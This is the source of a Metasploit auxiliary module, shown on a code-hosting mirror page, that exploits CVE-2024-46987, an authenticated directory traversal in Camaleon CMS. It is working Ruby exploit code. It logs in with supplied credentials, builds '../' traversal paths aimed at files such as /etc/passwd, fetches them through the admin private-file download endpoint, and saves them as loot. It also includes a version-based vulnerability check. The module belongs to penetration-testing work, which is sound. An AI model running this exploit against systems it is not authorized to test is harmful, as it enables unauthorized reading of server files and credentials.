Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/camaleon_download_private_file.rb
59959 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Camaleon CMS Directory Traversal CVE-2024-46987',
15
'Description' => %q{
16
Exploits CVE-2024-46987, an authenticated directory traversal
17
vulnerability in Camaleon CMS versions <= 2.8.0 and 2.9.0
18
},
19
'Author' => [
20
'Peter Stockli', # Vulnerability Disclosure
21
'Goultarde', # Python Script
22
'bootstrapbool', # Metasploit Module
23
],
24
'License' => MSF_LICENSE,
25
'Privileged' => true,
26
'Platform' => 'linux',
27
'References' => [
28
['CVE', '2024-46987'],
29
[
30
'URL', # Advisory
31
'https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/'
32
],
33
[
34
'URL', # Python Script
35
'https://github.com/Goultarde/CVE-2024-46987'
36
],
37
],
38
'DisclosureDate' => '2024-08-08',
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'Reliability' => [REPEATABLE_SESSION],
42
'SideEffects' => [IOC_IN_LOGS]
43
}
44
)
45
)
46
register_options(
47
[
48
OptString.new('USERNAME', [true, 'Valid username', 'admin']),
49
OptString.new('PASSWORD', [true, 'Valid password', 'admin123']),
50
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
51
OptString.new('TARGETURI', [false, 'The Camaleon CMS base path']),
52
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ]),
53
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true])
54
]
55
)
56
end
57
58
def build_traversal_path(filepath, depth)
59
if depth == 0
60
return filepath
61
end
62
63
# Remove C:\ prefix if present (path traversal doesn't work with drive letters)
64
normalized_path = filepath.gsub(/^[A-Z]:\\/, '').gsub(/^[A-Z]:/, '')
65
66
traversal = '../' * depth
67
68
if normalized_path[0] == '/'
69
return "#{traversal[0..-2]}#{normalized_path}"
70
end
71
72
"#{traversal}#{normalized_path}"
73
end
74
75
def get_token(login_uri)
76
res = send_request_cgi({ 'uri' => login_uri, 'keep_cookies' => true })
77
78
return nil unless res && res.code == 200
79
80
match = res.body.match(/name="authenticity_token" value="([^"]+)"/)
81
82
return match ? match[1] : nil
83
end
84
85
def authenticate(username, password)
86
login_uri = normalize_uri(target_uri.path, 'admin/login')
87
88
vprint_status("Retrieving token from #{login_uri}")
89
90
token = get_token(login_uri)
91
92
if token.nil? || cookie_jar.empty?
93
fail_with(Failure::UnexpectedReply, 'Failed to retrieve token')
94
end
95
96
vprint_status("Retrieved token #{token}")
97
vprint_status("Authenticating to #{login_uri}")
98
99
res = send_request_cgi({
100
'method' => 'POST',
101
'uri' => login_uri,
102
'keep_cookies' => true,
103
'vars_post' => {
104
'authenticity_token' => token,
105
'user[username]' => username,
106
'user[password]' => password
107
}
108
})
109
110
unless res && res.code == 302
111
fail_with(Failure::NoAccess, 'Authentication failed')
112
end
113
114
res = send_request_cgi(
115
'uri' => normalize_uri(target_uri.path, 'admin/dashboard')
116
)
117
118
if res.body.downcase.include?('logout')
119
vprint_status('Authentication succeeded')
120
return
121
end
122
123
fail_with(Failure::NoAccess, 'Authentication failed')
124
end
125
126
def get_version
127
vprint_status('Attempting to get build number')
128
129
res = send_request_cgi(
130
'uri' => normalize_uri(target_uri.path, 'admin/dashboard')
131
)
132
133
return nil unless res && res.code == 200
134
135
html = res.get_html_document
136
137
version_div = html.css('div.pull-right').find do |div|
138
div.at_css('b') && div.at_css('b').text.strip == 'Version'
139
end
140
141
if version_div
142
match = version_div.text.strip.match(/Version\s*(\S+)/)
143
return match[1] if match
144
end
145
end
146
147
def vuln_version?(version)
148
print_status("Detected build version is #{version}")
149
150
if version == '2.9.0' || Rex::Version.new(version) < Rex::Version.new('2.8.1')
151
print_status('Version is vulnerable')
152
return true
153
end
154
155
print_warning('Version is not vulnerable')
156
false
157
end
158
159
def get_file(filepath)
160
filepath = build_traversal_path(filepath, datastore['DEPTH'])
161
162
lfi_uri = normalize_uri(
163
target_uri.path,
164
'admin/media/download_private_file'
165
)
166
167
vprint_status("Attempting to retrieve file #{filepath} from #{lfi_uri}")
168
169
res = send_request_cgi({
170
'uri' => lfi_uri,
171
'vars_get' => {
172
'file' => filepath
173
},
174
'encode_params' => false
175
})
176
177
if res
178
if res.code == 404
179
return nil
180
end
181
182
if res.body.downcase.include?('invalid file')
183
return nil
184
end
185
186
vprint_good('Successfully retrieved file')
187
return res.body
188
end
189
end
190
191
def run
192
cookie_jar.clear
193
194
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
195
196
res = get_file(datastore['FILEPATH'])
197
198
if res.nil? || res == false || !res.is_a?(String)
199
fail_with(Failure::PayloadFailed, 'Failed to obtain file')
200
end
201
202
if datastore['STORE_LOOT']
203
path = store_loot(
204
'camaleon.traversal',
205
'text/plain',
206
datastore['RHOST'],
207
res,
208
datastore['FILEPATH']
209
)
210
print_good("#{datastore['FILEPATH']} stored as '#{path}'")
211
end
212
213
print_line
214
print_line(res)
215
end
216
217
def check
218
cookie_jar.clear
219
220
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
221
222
version = get_version
223
224
if version.nil?
225
return Exploit::CheckCode::Unknown('Failed to get build version')
226
elsif vuln_version?(version) != true
227
return Exploit::CheckCode::Safe
228
end
229
230
res = get_file(datastore['FILEPATH'])
231
232
if res.nil? || res == false || !res.is_a?(String)
233
print_error('Failed to obtain file')
234
return Exploit::CheckCode::Appears
235
end
236
237
Exploit::CheckCode::Vulnerable
238
end
239
end
240
241